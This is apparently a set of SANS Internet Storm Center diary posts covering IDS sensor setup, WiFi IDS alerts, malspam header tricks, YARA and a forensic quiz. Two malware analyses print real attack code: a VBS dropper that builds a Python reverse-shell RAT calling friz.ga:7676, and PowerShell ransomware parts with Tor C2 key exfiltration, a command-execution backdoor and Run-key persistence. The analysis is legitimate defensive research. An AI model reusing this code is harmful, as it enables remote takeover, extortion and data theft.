There are two tarball, the first installation.tgz is to setup all the scripts listed below to install the software and the second tarball is to preconfigure some of the sensor configuration files (Suricata, Zeek, softflowd, Filebeat, Metricbeat & Packetbeat).

  • $ wget https://handlers.sans.edu/gbruneau/scripts/installation.tgz
  • $ wget https://handlers.sans.edu/gbruneau/scripts/sensor.tgz
  • Extract the tarball with the scripts as follow: $ sudo tar zxvf installation.tgz -C /
  • Install Suricata: $ sudo yum -y install suricata
  • Install Zeek: $ sudo yum -y install zeek

After Suricata & Zeek have been installed, if you plan to send the logs to Elasticsearch, install filebeat (metricbeat & packetbeat are optional).

  • Install Filebeat: $ sudo yum -y install filebeat (metricbeat and packetbeat)

The sensor.tgz tarball has Zeek configured to save the logs in JSON format which has support by most commercial products like ELK, RSA NetWitness, Splunk, etc.

  • Extract this tarball after installing all the packages: $ sudo tar zxvf sensor.tgz -C /

If the packet capture interface is other than ens160 (ifconfig), update the following files:

  • /opt/zeek/etc/node.cfg
  • /etc/suricata/suricata.yaml

If using packetbeat:

  • /etc/packetbeat/packetbeat.yml

If using softflowd (make script executable: chmod 755 /etc/rc.local):

  • /etc/rc.local

Enable Suricata & Zeek to start on reboot:

  • $ sudo systemctl enable suricata
  • $ sudo systemctl enable zeek

Update Suricata's rules:

  • $ sudo /usr/bin/suricata-update update --reload-command "/usr/bin/systemctl kill -s USR2 suricata"

Lets start some services:

  • $ sudo systemctl start suricata
  • $ sudo systemctl status suricata
  • $ sudo systemctl start zeek
  • $ sudo systemctl status zeek

Last, configure filebeat (metricbeat & packetbeat are optional) Elasticsearch server section to send the logs to the server. To make sure nothing is missed to configure Elasticsearch applications, review this document Logging Data to Elasticsearch which contains all the steps to configure these Elastic Beats.

  • /etc/filebeat/filebeat.yml
  • /etc/metricbeat/metricbeat.yml
  • /etc/packetbeat/packetbeat.yml

If using any of the Beats, enable them to start on reboot:

  • $ sudo systemctl enable filebeat
  • $ sudo systemctl enable metricbeat
  • $ sudo systemctl enable packetbeat

Let's start Filebeat:

  • $ sudo systemctl start filebeat
  • $ sudo systemctl status filebeat

Note: Because Suricata logs are sent to ELK with filebeat, there is an hourly cronjob that delete the previous hour logs from the /nsm/suricata directory to keep it clean and in the end requires a minimal /nsm/suricata partition documented in [4].

Since I use VMs as sensors, I exported this sensor template as an OVA, which requires minimum configuration changes for the next deployment.

[1] https://github.com/irino/softflowd
[2] https://handlers.sans.edu/gbruneau/elastic.htm
[3] https://handlers.sans.edu/gbruneau/elk/TLS_elasticsearch_configuration.pdf
[4] https://handlers.sans.edu/gbruneau/elk/Building_Custom_IDS_Sensor.pdf
[5] https://handlers.sans.edu/gbruneau/scripts/installation.tgz
[6] https://handlers.sans.edu/gbruneau/scripts/sensor.tgz

Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu


Published: 2021-04-09

No Python Interpreter? This Simple RAT Installs Its Own Copy

For a while, I'm keeping an eye on malicious Python code targeting Windows environments[1][2]. If Python looks more and more popular, attackers are facing a major issue: Python is not installed by default on most Windows operating systems. Python is often available on developers, system/network administrators, or security teams. Like the proverb says: "You are never better served than by yourself", I found a simple Python backdoor that installs its own copy of the Python interpreter!

The backdoor is installed via a VBS script (SHA256:eda050c767cb65150b1f4c8a4307c15baf5aebf211367191aaf7ede3aee823d5) has a VT score of 11/58[3]. I don't know how it is delivered and executed on the target computer but, it is light and easy to read. Here is a full copy:

 1    If Not WScript.Arguments.Named.Exists("elevate") Then
 2      CreateObject("Shell.Application").ShellExecute WScript.FullName _
 3        , """" & WScript.ScriptFullName & """ /elevate", "", "runas", 1
 4      WScript.Quit
 5    End If
 6    Set objFSO=CreateObject("Scripting.FileSystemObject")
 7    If objFSO.FileExists("C:\Program Files\Windows socket\socket.bat") then
 8    WScript.Quit 1
 9    End If
10    Set oShell = WScript.CreateObject ("WScript.Shell")
11    oShell.run "cmd /c mkdir C:\""Program Files""\python389", 0
12    oShell.run "cmd /c mkdir C:\""Program Files""\""Windows socket""", 0
13    WScript.Sleep 1200
14    oShell.run "powershell -c ""(New-Object System.NET.Webclient).DownloadFile('hxxp://friz[.]ga/payloads/python-3.8.9-embed-amd64.zip','C:\Program Files\python389\python-3.8.9-embed-amd64.zip');""", 0, 1
15    set objShell = CreateObject("Shell.Application")
16    set FilesInZip=objShell.NameSpace("C:\Program Files\python389\python-3.8.9-embed-amd64.zip").items
17    objShell.NameSpace("C:\Program Files\python389").CopyHere(FilesInZip)
18    Set objFSO=CreateObject("Scripting.FileSystemObject")
19    outBat="c:\Program Files\Windows socket\socket.bat"
20    Set objSocket = objFSO.CreateTextFile(outBat,True)
21    objSocket.WriteLine "C:\""Program Files""\python389\python.exe ""C:\Program Files\Windows socket\rat.py"""
22    outPython="c:\Program Files\Windows socket\rat.py"
23    Set objPython = objFSO.CreateTextFile(outPython,True)
24    objPython.WriteLine "import socket"
25    objPython.WriteLine "import os"
26    objPython.WriteLine "import subprocess"
27    objPython.WriteLine "sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)"
28    objPython.WriteLine "sock.connect(('friz.ga', 7676))"
29    objPython.WriteLine "sock.send(b'c\\r\\n')"
30    objPython.WriteLine ""
31    objPython.WriteLine "while 1:"
32    objPython.WriteLine "    output = ''"
33    objPython.WriteLine "    data = sock.recv(1024)"
34    objPython.WriteLine "    msg = data.decode('UTF-8')"
35    objPython.WriteLine "    print(msg)"
36    objPython.WriteLine "    try:"
37    objPython.WriteLine "        output = subprocess.check_output(['cmd.exe', f'/c {msg}']) "
38    objPython.WriteLine "        print(output)   "
39    objPython.WriteLine "    except subprocess.CalledProcessError as err:"
40    objPython.WriteLine "        print(err)"
41    objPython.WriteLine "    #sock.send(bytes(output, 'utf-8'))"
42    objPython.WriteLine ""
43    objPython.WriteLine "    try:"
44    objPython.WriteLine "        sock.send(output)"
45    objPython.WriteLine "    except:"
46    objPython.WriteLine "        pass"
47    objPython.WriteLine "  "
48    objPython.WriteLine ""
49    objPython.WriteLine "    if not data:"
50    objPython.WriteLine "        pass"
51    objPython.WriteLine "        #sock.send(b'\n')"
52    objPython.WriteLine "    "
53    objPython.WriteLine ""
54    objPython.WriteLine "conn.close"
55    oShell.run "schtasks /create /F /ru ""SYSTEM"" /sc onlogon /tn WinSocket /rl highest /tr ""\""C:\Program Files\Windows socket\socket.bat""\"" ", 0
56    oshell.run "schtasks /run /I /TN WinSocket", 0

First, the script tries to elevate its privileges (lines 1-5) with a common technique. Files will be dropped in two directories (lines 11-12). A Python environment is downloaded and extracted in C:\Program Files\python389 (lines 14-17). A batch file is created (lines 19-21) to execute the RAT ("C:\Program Files\python389\python.exe" "C:\Program Files\Windows socket\rat.py"). Finally, the RAT is created (lines 22-54). Here is a cleaner code:

import socket
import os
import subprocess
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('friz[.]ga', 7676))
while 1:
    output = ''
    data = sock.recv(1024)
    msg = data.decode('UTF-8')
        output = subprocess.check_output(['cmd.exe', f'/c {msg}']) 
        print(output)   "
    except subprocess.CalledProcessError as err:
    #sock.send(bytes(output, 'utf-8'))


    if not data:

The script is easy to understand, it connects to the C2 (friz[.]ga:7676) and expects some commands. They are executed and the result is sent back.

Finally, persistence is achieved through the creation of a scheduled task (lines 55-56).

This technique may look pretty invasive because a Python environment requires the installation of many files but the archive dropped by this script is the "embeddable package"[4] that contains the minimum set of files (SHA256:6d9a18cee86819d86442fc67d4ffe9fd5819cbaedd350b4c92b84160bd1acd48):

remnux@remnux:/MalwareZoo/20210409$ unzip -t python-3.8.9-embed-amd64.zip 
Archive:  python-3.8.9-embed-amd64.zip
    testing: python.exe               OK
    testing: pythonw.exe              OK
    testing: python38.dll             OK
    testing: python3.dll              OK
    testing: vcruntime140.dll         OK
    testing: vcruntime140_1.dll       OK
    testing: LICENSE.txt              OK
    testing: pyexpat.pyd              OK
    testing: select.pyd               OK
    testing: unicodedata.pyd          OK
    testing: winsound.pyd             OK
    testing: _asyncio.pyd             OK
    testing: _bz2.pyd                 OK
    testing: _ctypes.pyd              OK
    testing: _decimal.pyd             OK
    testing: _elementtree.pyd         OK
    testing: _hashlib.pyd             OK
    testing: _lzma.pyd                OK
    testing: _msi.pyd                 OK
    testing: _multiprocessing.pyd     OK
    testing: _overlapped.pyd          OK
    testing: _queue.pyd               OK
    testing: _socket.pyd              OK
    testing: _sqlite3.pyd             OK
    testing: _ssl.pyd                 OK
    testing: libcrypto-1_1.dll        OK
    testing: libffi-7.dll             OK
    testing: libssl-1_1.dll           OK
    testing: sqlite3.dll              OK
    testing: python38.zip             OK
    testing: python38._pth            OK
    testing: python.cat               OK
No errors detected in compressed data of python-3.8.9-embed-amd64.zip.

[1] https://isc.sans.edu/forums/diary/Python+and+Risky+Windows+API+Calls/26530
[2] https://isc.sans.edu/forums/diary/Simple+Python+Keylogger/27216
[3] https://www.virustotal.com/gui/file/eda050c767cb65150b1f4c8a4307c15baf5aebf211367191aaf7ede3aee823d5/detection
[4] https://www.python.org/downloads/windows/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2021-04-08

Simple Powershell Ransomware Creating a 7Z Archive of your Files

If some ransomware families are based on PE files with complex features, it's easy to write quick-and-dirty ransomware in other languages like Powershell. I found this sample while hunting. I'm pretty confident that this script is a proof-of-concept or still under development because it does not contain all the required components and includes some debugging information.

The file has been submitted on VT (SHA256:aff84c3e2f40b6cf3724447252c770ade426cfea0458b172db38e9753ce4fba4)[1] and has a very nice score of 0/58! Let's have a look at it.

The script starts by generating some host-based data: a UUID and a random password:

function getUUID
    $raw = (Get-WmiObject -Class Win32_ComputerSystemProduct).UUID;
    $UUID = $raw.split('-')[4];
    return $UUID;

function makePass
    $res = $num + $alph | Sort-Object {Get-Random};
    $res = $res -join '';
    return $res; 

The ransomware communicates through TOR for C2 communications. I noticed that the TOR client was not included in this PowerShell script, maybe in a second script?

Note: TOR is expected to be launched from a ".home" directory:

Start-Process -windowstyle hidden -FilePath .home\Tor\tor.exe;

The C2 server is located at this Onion address: qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion.

The ransomware sends the generated UUID and password to the C2:

$Pass = makePass;
$request = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion:5000/storeKey.php?pass={0}^&id={1}' -f $Pass, $UUID;
$response = cmd /c curl -s -x socks5h://localhost:9050 $request;

The expected reply is a simple "OK" that will trigger the file encryption process. The list of targeted file extensions is quite small and the search path is restricted to the user's home directory.

function makeFileList
    $files = cmd /c where /r $env:USERPROFILE *.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php;
    $List = $files -split '\r';
    return $List;

$fileList = @(makeFileList);
$fileResult = makeFileListTable $fileList;
compress $Pass;

The way files are encrypted is an interesting approach. Instead of encrypting all files one by one, it creates a big 7Z encrypted archive containing all targeted files.

function compress($Pass)
    $tmp = $env:TEMP;
    $s = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion:5000/prog/';
    $link_7zdll = $s + '7z.dll';
    $link_7zexe = $s + '7z.exe';
    $7zdll = '"'+$tmp+'\7z.dll"';
    $7zexe = '"'+$tmp+'\7z.exe"';
    cmd /c curl -s -x socks5h://localhost:9050 $link_7zdll -o $7zdll;
    cmd /c curl -s -x socks5h://localhost:9050 $link_7zexe -o $7zexe;
    $argExtensions = '*.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php';

    $argOut = 'Desktop\YourFilesHaha_{0}.zip' -f (Get-Random -Minimum 100000 -Maximum 200000).ToString();
    $argPass = '-p' + $Pass;

    Start-Process -WindowStyle Hidden -Wait -FilePath $tmp'\7z.exe' -ArgumentList 'a', $argOut, '-r', $argExtensions, $argPass -ErrorAction Stop;

Once the files archived, scripts are dumped on the filesystem:

function setup
    $tmp = $env:TEMP;
    $usr = $env:USERPROFILE;

    $cont_10d2d = 'dGFza2tpbGwgL2ltIHRvci5leGUgL2Y7DQoN ... TbGVlcCAtU2Vjb25kcyA1Ow0KfQ==';
    $cont_10d2e = 'ZWNobyAiTW9kaWZ5aW5nIHRoaXMgc2NyaXB0 ... J3QgZG8gYW55IGhhcmm01lbnU7DQo=';
    $10d2d = $tmp +'\10d2d\10d2d.ps1';
    $10d2e = $usr +'\Desktop\10d2e.ps1';

    New-Item -ItemType Directory -Force -Path $tmp'\10d2d';
    Set-Content -Path $10d2d -value ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($cont_10d2d)) | Out-String);
    Set-Content -Path $10d2e -value ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($cont_10d2e)) | Out-String);
    Set-Content -Path 'Desktop\Ransom_10d2e.bat' -value 'cmd /k powershell -ep bypass .\10d2e.ps1';

The first script ("10d2d.ps1") implements persistence:

$onStart = 'cmd /c powershell -windowstyle hidden cd $env:TEMP\10d2d; powershell -ep bypass .\10d2d.ps1';
New-ItemProperty -Path HKCU:\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run -Name 1s0tda2rdt -Value $onStart -Force;

Then it implements a backdoor waiting for commands from the C2:

$RH = "http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion:5000/rac/";
$UUID = getUUID;
    cmd /c curl -s -x socks5h://localhost:9050 $RH'status.php?id='$UUID;
    $jobCall = (cmd /c curl -s -x socks5h://localhost:9050 $RH'commandBlock') -split '\n';   
    if(($jobCall[0] -replace ' ', '') -eq $UUID)
        cmd /c curl -s -x socks5h://localhost:9050 $RH'centralPanel.php?q=ack';
            $returnCont = (Invoke-Expression $jobCall[1] | Out-String) -replace '\r\n', '\r\n';
            $returnCont = $_ -replace '\r\n', '\r\n';
        $curPath = (cmd /c cd | Out-String) -replace '\r\n', '\r\n';
        $returnCont = ('From UUID - {0} {1}\r\n{2}\r\n' -f $UUID, ('_'*75), $curPath) + $returnCont;

        cmd /c curl -X POST -d $returnCont -s -x socks5h://localhost:9050 $RH'centralPanel.php?q=return';

    Start-Sleep -Seconds 5;

The second script ("10d2e.ps1") contains the code to take the user by hand to pay the ransom (which is not very expensive: $20):

function pay($UUID)
    $msg2 = "Note1: We strongly advise you to wait 5 - 10s before submitting your info below to avoid the latency problem. `nNote2: pay the ransom only once.`nNote3: demo victim wallet: tb1qkvstwkjsuudcy0dnljdp8qpw4ur68g5uxhhf3j"; $msg2;
    $request = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid.onion:5000/bitTran.php?payment=schedule"&"id=' + $UUID;
    $get2 = cmd /c curl -s -x socks5h://localhost:9050 $request;
    $msg3 = "`n`nDeadline: " + (get-date).AddMinutes(10).ToString("MM({0})-dd({1})-yyyy HH:mm:ss") -f 'mm', 'dd'; $msg3;
    $get2 = Read-Host($get2);

    $msg4 = 'Loading again...'; $msg4;
    $request = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid.onion:5000/bitTran.php?payment=confirm"&"id=' + $UUID + '"&"walletAddr=' + $get2;
    $result = cmd /c curl -s -x socks5h://localhost:9050 $request; $result;

    if($result[0] -ieq 'C')
        $msg5 = 'Generating a copy of password to your Desktop. Have a check...'; $msg5;
        Set-Content -Path $env:USERPROFILE\Desktop\passc0de.txt -Value $result;


Interaction with the victim looks like this:

Note that this second script must be invoked by the user as stated in the notification:


What to think about this script? It is very simple but does the job to annoy the victim. Is it a proof-of-concept? I don't know...

[1] https://www.virustotal.com/gui/file/aff84c3e2f40b6cf3724447252c770ade426cfea0458b172db38e9753ce4fba4/content/strings

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2021-04-07

WiFi IDS and Private MAC Addresses

I recently came across "nzyme" [1], a WiFi Intrusion Detection System (IDS). Nzyme does focus on WiFi-specific attacks, so it does not care about payload but inspects the 802.11 headers that escape traditional, wired IDSs. It was not terribly hard to get it running on a Raspberry Pi using a Panda USB WiFi adapter.

When configuring nzyme, you will specify the channels it is supposed to monitor and the SSIDs and BSSIDs you are using in your environment. It does not monitor or alert on events related to other SSIDs. I live in a reasonably densely populated area, and there are a dozen or so neighbor access points in range. Monitoring for classic "Rogue Access Points" would not make much sense. 

But even nzyme shows a large number of alerts:

Figure 1: nzyme dashboard

Luckily, nzyme also provides a few more details:

Figure 2: Alert Details

The key feature here is the MAC address: 02:9f:c2:d7:b8:d5. Let's take it apart: The first three bytes, the '"OUI" (Organization Unique Identifier), should identify the manufacturer, but you will not find "02:9f:c2" in the standard lookup table [2] [3].

To understand why Wireshark is probably wrong, let's take a closer look at the first byte of the MAC address:

Figure 3: MAC Address OUI Bytes

Figure 3 shows a diagram of the OUI bytes. The last two bits of the first byte have a special purpose:

  • U/L Bit: For officially assigned ("U"=Universal) addresses, this bit is CLEARED. If you want to make up your own local OUI, set this bit to avoid conflicts with officially assigned OUIs.
  • I/G Bit: Individual or Group bit. If set, the MAC address is used for Multicast/Broadcast. If cleared, it is used for Unicast.

So your MAC address above starts with "02". The "U/L" bit is set, and the OUI is "made up" and not assigned to a manufacturer. So why so many "made up" MAC addresses?

The main source of these alerts is Apple's iOS (and Android), enhancing the privacy of WiFi. MAC addresses have long been used to track users. In response, mobile devices have adopted this behavior (at least this is what I see from iOS) [4]:

  • When searching for WiFi networks, the operating system keeps altering its MAC address.
  • Once it joins a network, the MAC address will be consistent. It will use the same MAC address whenever it reconnects to the same network.
  • The actual "hardware" MAC address will only be used whenever a user specifically disables the privacy feature for a network [5]

So for your home/company "trusted" network, you may want to disable this feature to make network management easier. I found that the Apple Watch does not appear to pick up that setting from the phone, so you need to adjust this on the watch itself.

Another alert I have seen from nzyme is that access points use channels I didn't configure in nzyme. This is mostly due to access points automatically picking channels based on congestion. This feature can be disabled at the access point.

[1] https://nzyme.org
[2] https://standards.ieee.org/products-services/regauth/oui28/index.html
[3] https://www.wireshark.org/tools/oui-lookup.html
[4] https://support.apple.com/en-us/HT211949
[5] https://support.apple.com/en-us/HT211227

Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu


Published: 2021-04-06

Malspam with Lokibot vs. Outlook and RFCs

Couple of weeks ago, my phishing/spam trap caught an interesting e-mail carrying what turned out to be a sample of the Lokibot Infostealer.
At first glance, the e-mail appeared to be a run of the mill malspam message.

  • The text was a low-quality translation of English into Czech.
  • It claimed that the recipient needed to verify contents of attached file, that was supposed to contain information about an upcoming funds transfer.
  • The sender name and signature were supposed to look like the message came from an employee of one of the major Czech banks.

The message, however, turned out to be more interesting than it first appeared…

But before we get to that, let’s quickly look at the attachment, which was interesting in its own right. The attached ZIP archive contained an ISO file, which in turn contained an EXE. As it turned out, the executable was created with the Nullsoft Scriptable Install System, a legitimate tool for creating installer packages for Windows, which is sometimes used by malware authors in lieu of/in addition to a packer[1].

EXEs created with NSIS can be opened using 7-Zip[2]. Using this approach, one can easily get access to their contents, which in this case meant only an NSI installation script and a single DLL (0xtwa2t09nc.dll) located within a $PLUGINSDIR subdirectory.

As its name suggests, an NSI installation script should basically specify which steps are to be taken during an installation. In this case it contained only one function of note named .onInit.

As you may see, the .onInit function was simply supposed to call another function called Ycksxjzoiwxisk from the DLL located in the $PLUGINSDIR directory.

After this function was called, a malicious payload - which turned out to be a version of the Lokibot infostealer - would be decoded and loaded into memory. It would then copy the original executable to %appdata% directory, create a registry key pointing to the copy of the application, remove the original executable and stay resident.

During its in-memory residence, it would try to gather sensitive data (configurations, passwords, etc.) from a list of file system and registry locations.

It would then try to contact a C2 server and exfiltrate the collected data to it using HTTP. At the time of analysis, the server contacted by this version of the malware already appeared to be down and all attempts at accessing it by the malware were met with a HTTP 404 error.

A small point to note is that the malware seemed to use a fixed ~60 second beaconing period.

I’ve mentioned that the malware created a registry key after it copied the original malicious executable to the %appdata% directory. From this, you may have (quite reasonably) assumed that the key in question would have been created in one of the usual places that might be used to ensure persistence of the malware. This might indeed have been what authors of the malware were going for, but either due to encoding issues or some other reason, when I executed the malware in a VM (English version of W10), the key ended up in the root of the HKCU hive with an unexpected name.

It is clear, that if the registry modification was indeed an attempt at ensuring persistence, it didn’t go according to plan. This was however not the only interesting thing regarding encoding with our malspam… Which brings us back to the e-mail message.

Although, as I’ve mentioned, at first the e-mail appeared quite ordinary, a second look at it led to an interesting discovery. When an e-mail is opened in Outlook, it normally either displays both the name and an address of the sender…

…or Outlook may, under certain specific conditions, display only the name of the sender. If one then hovers on the name with a cursor, the name will turn blue and a corresponding Outlook contact card will be displayed.

Apart from that, one could simply right-click on the name (or on the icon with portrait or initials next to it) and display the contact card (and the e-mail address) that way.

In the case of our malspam, however, this did not happen. The name of the sender was not interactive in any way and if the icon with initials was right-clicked and the contact card was displayed, it was empty with no e-mail address present.

If one were to click on the “Reply” button, the behavior of Outlook would again seem unusual, as it would only display the name of the sender as text in the “To” field, and not any e-mail address.

After a quick analysis, the reason for these issues became clear - they were caused by the use of non-RFC-compliant sender address in the message, or - more specifically - by incorrectly used mixed-encoding. Per RFC 2047[3], non-ASCII encodings may be used in e-mail headers, the only requirement appears to be that the encoded text is formatted according to the following specification:


The use of mixed-encoding in a single header is allowed by the RFC as well, if the two encodings are whitespace separated:

Ordinary ASCII text and 'encoded-word's may appear together in the
same header field.  However, an 'encoded-word' that appears in a
header field defined as '*text' MUST be separated from any adjacent
'encoded-word' or 'text' by 'linear-white-space'.

In cases when a sender address contains non-ASCII characters, it is therefore quite normal and proper to use – for example – a UTF-8 encoded string for the name, followed by an ASCII string, as in the following case:

From: =?UTF-8?Q?Jan_Kop=C5=99iva?= <jan@notimportant.tld>

This would result in the following sender information being displayed:

So where is the issue with our malspam message? Let’s take a look at its From header:

From: =?UTF-8?B?xIxlc2vDoSBzcG/FmWl0ZWxuYQ==?=, a.s. <info@[redacted].xyz>

As you may see, there is not a white space character after the end of the UTF-8 encoded text. However even if we were to put a whitespace after it, things would not look as they should – Outlook would simply display the same text in a decoded form, followed by the encoded form…

You can however probably guess where the issue lies – it is in the comma. Comma is a special character in the area of e-mail communication (consider that we separate multiple recipients by it) and therefore if it were used in a display name of a sender, it would need to be quoted to be compliant with RFC 5322[4]. This is something the senders of the malspam probably didn’t know – they simply separated the intended display name into two parts:

  • one with non-ASCII characters, which would have to be UTF-8 encoded, and
  • the other one (", a.s."), that didn't contain non-ASCII characters and could therefore be left in the original unencoded form… Or not, as our example shows.

If one were to put the comma, or the entire second part of the display name, in quotes, the sender information would finally look as it was supposed to.

As we may see, the “missing address” issue was caused by a non-RFC-compliant message being interpreted by Outlook, that expects to parse RFC-compliant content.

So, is this a vulnerability? Not really – Outlook appears to be working pretty much in accordance with the RFC specification… Unfortunately, as our malspam message shows, distributors of malicious e-mail messages don’t necessarily have to conform to such standards, which may result in an unexpected behavior when such a message is received.

Although a missing sender address in an e-mail from an unknown/external sender would be most suspicious to any security-minded recipient, to most regular users the fact that only a (potentially well-known) name would be displayed where a sender address should be could make any message appear much more trustworthy. So even though the use of non-compliant sender addresses probably won’t be the “next big thing” in phishing, it is certainly good to know that it is possible and that it is used in the wild, even if (at least so far) completely unintentionally. And it may also be worth it to mention the corrensponding behavior of Outlook in any advanced security awareness classes dealing with targetted attacks that you might teach...


Indicators of Compromise (IoCs)

Ceskasporitelna, a.s.Swift_260321_scan.zip (172 kB)
MD5 - bcd356d0c4c8d80bff2dea8045602044
SHA1 - f67f9dee7683aeb617183e0ceab4db5830a417f8

Ceskasporitelna, a.s.Swift_260321_scan.exe (511 kB)
MD5 - f6a59e6f73bc89e1d75db46f32d624dc
SHA-1 - ae70271d98402a100fcf3f6bc2d209025c9c321f

0xtwa2t09nc.dll (116 kB)
MD5 - 93d707a549d1b91001efbd75e858064d
SHA-1 - 3939a8e4935e4561a005fee08ac831ff0bd4f207


[1] https://threatpost.com/raticate-group-industrial-firms-revolving-payloads/155775/
[2] https://isc.sans.edu/forums/diary/Quick+analysis+of+malware+created+with+NSIS/23703/
[3] https://tools.ietf.org/html/rfc2047
[4] https://tools.ietf.org/html/rfc5322

Jan Kopriva
Alef Nula


Published: 2021-04-04

YARA and CyberChef: ZIP

When processing the result of "unzip" in CyberChef, for example with YARA rules, all files contained inside the ZIP file, are concatenated together.

This is not a problem when dealing with a single file inside a ZIP container. But it can be for multiple files. If you want to know more, I recorded a video with more details:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2021-04-03

Video: YARA and CyberChef

In diary entry "YARA and CyberChef", I explain how to use YARA rules together with CyberChef.

I created a video to illustrate this:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2021-04-02

C2 Activity: Sandboxes or Real Victims?

In my last diary[1], I mentioned that I was able to access screenshots exfiltrated by the malware sample. During the first analysis, there were approximately 460 JPEG files available. I continued to keep an eye on the host and the number slightly increased but not so much. My diary conclusion was that the malware looks popular seeing the number of screenshots but wait… Are we sure that all those screenshots are real victims? I executed the malware in my sandbox and probably other automated analysis tools were used to detonate the malware in a sandbox. This question popped up in my mind: How do have an idea about the ratio of automated tools VS. real victims?

I grabbed all the pictures in a local directory and wrote some lines of Python to analyze them. The main question is: how to detect if the screenshot has been taken in a sandbox or a real system? What we can check:

  • The size of the screenshot (that matches the desktop)
  • The percentage of unified color (usually, sandbox don’t have open windows and a limited set of icons on the desktop).

To « translate » this into Python, I used the classic library to work on image: pillow[2]. extcolors is a small library that works directly on colors[3].

import extcolors
import PIL
import os

for image in os.listdir(folder):
    img = PIL.Image.open(folder+"/"+image)
    width, height = img.size
    colors, pixel_count = extcolors.extract_from_image(img)
    if width <= 1024 and height <= 768:
        print("Possible sandbox: %s : Size: %dx%d" % (image, width, height))
        for c in colors:
            hexcolor = '%02x%02x%02x' % c[0]
            percentage = (c[1] / pixel_count) * 100
            if percentage > 93 and hexcolor < "f00000":
                print("Possible sandbox: %s : Color: %s (%6.2f%%)" % (image,hexcolor, percentage))

After some tests, I decided to "flag" a screenshot as coming from a sandbox if the screen resolution is below 1024x768 and if we have >93% of a dark color (to match the classic blue, black or green backgrounds. Let's execute the scripts against the collected pictures:

Possible sandbox: 152114211370.jpg : Color: 000000 ( 94.25%)
Possible sandbox: 152117757583.jpg : Color: 000000 ( 98.20%)
Possible sandbox: 152127051988.jpg : Color: 000000 ( 95.09%)
Possible sandbox: 152178310978.jpg : Size: 1024x768
Possible sandbox: 152129950226.jpg : Size: 800x600
Possible sandbox: 152115117436.jpg : Size: 800x600
Possible sandbox: 152135496106.jpg : Color: c7b199 ( 99.23%)
Possible sandbox: 152119090512.jpg : Color: 000000 ( 99.37%)
Possible sandbox: 152129464868.jpg : Color: 2974c7 ( 94.60%)
Possible sandbox: 152153616774.jpg : Size: 800x600
Possible sandbox: 152137277200.jpg : Size: 800x600
Possible sandbox: 152157989841.jpg : Size: 1024x768

Here are the results:

Some detected sandboxes:

[1] https://isc.sans.edu/forums/diary/Quick+Analysis+of+a+Modular+InfoStealer/27264/
[2] https://pillow.readthedocs.io/en/stable/
[3] https://pypi.org/project/extcolors/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2021-04-01

April 2021 Forensic Quiz

2021-04-01 21:41 UTC - UPDATE: The domain for the AD environment used in this quiz has been changed to clockwater.net.  We will still accept the original domain listed in the answers from any of the submissions.  We already have 10 submission as I write this.  Thanks to everyone who has participated or will still take part in this quiz!


Today's diary is a forensic quiz for April 2021.  This month's quiz will also be a contest.  The prize is a Raspberry Pi.  Rules for the contest follow:

  • Only one submission per person.
  • The first person to submit the correct answers will win the Raspberry Pi.
  • Submissions will be made using the form on our contact page at: https://isc.sans.edu/contact.html
  • Use April 2021 Forensic Quiz Submission for the Subject: line.
  • Provide the following information:
    • IP address of the infected Windows computer.
    • Host name of the infected Windows computer.
    • User account name on the infected Windows computer.
    • Date and time the infection activity began in UTC (the GMT or Zulu timezone).
    • The family or families of malware on the infected computer.

Material for this forensic quiz is located at this Github repository.  This repository contains a zip archive containing a pcap of network traffic from the infected Windows host.  The repository also contains another zip archive with malware and artifacts recovered from the infected Windows host.  Be very careful with the malware and artifacts zip because it has actual malware from a recently-infected Windows computer.  If you don't know what you're doing, do not download the malware and artifacts.  I always recommend people do this quiz in a non-Windows environment, if possible.

Shown above:  A meme about usernames and passwords on an infected Windows host.


Analysis of the infection traffic requires Wireshark or some other pcap analysis tool.  Wireshark is my tool of choice to review pcaps of infection traffic.  However, default settings for Wireshark are not optimized for web-based malware traffic.  That's why I encourage people to customize Wireshark after installing it.  To help, I've written a series of tutorials.  The ones most helpful for this quiz are:

I always recommend participants use a non-Windows environment like BSD, Linux, or macOS.  Why?  Because most pcaps in these traffic analysis quizzes contain traffic with Windows-based malware.  If you're using a Windows host to review such pcaps, your antivirus (or Windows Defender) may delete or alter the pcap.  Worst case?  If you extract malware from a pcap and accidentally run it, you might infect your Windows computer.

Analysis of the malware and artifacts should also be done in a non-Windows environment, unless you are a skilled malware analyst.  However, reviewing the malware and artifacts in a non-Windows environment like Linux shouldn't pose any problems.  Feel free to search for (or submit) malware from this quiz on sites like:

Most of the above sites require some sort of account to log in and search for samples.  Some of these sites provide free accounts that only require a valid email address.  Alternatively, search Google or other search engines for the SHA256 hashes of malware samples from this quiz.  You might get links from the above sites in your search results.

Active Directory (AD) Environment

The infected Windows host is part of an AD environment, so the pcap contains information about the Windows user account. The user account is formatted as firstname.lastname.  The AD environment characteristics are:

  • LAN segment range: ( through
  • Domain: clockwater.net
  • Domain Controller: - Clockwater-DC
  • LAN segment gateway:
  • LAN segment broadcast address:

Final Words

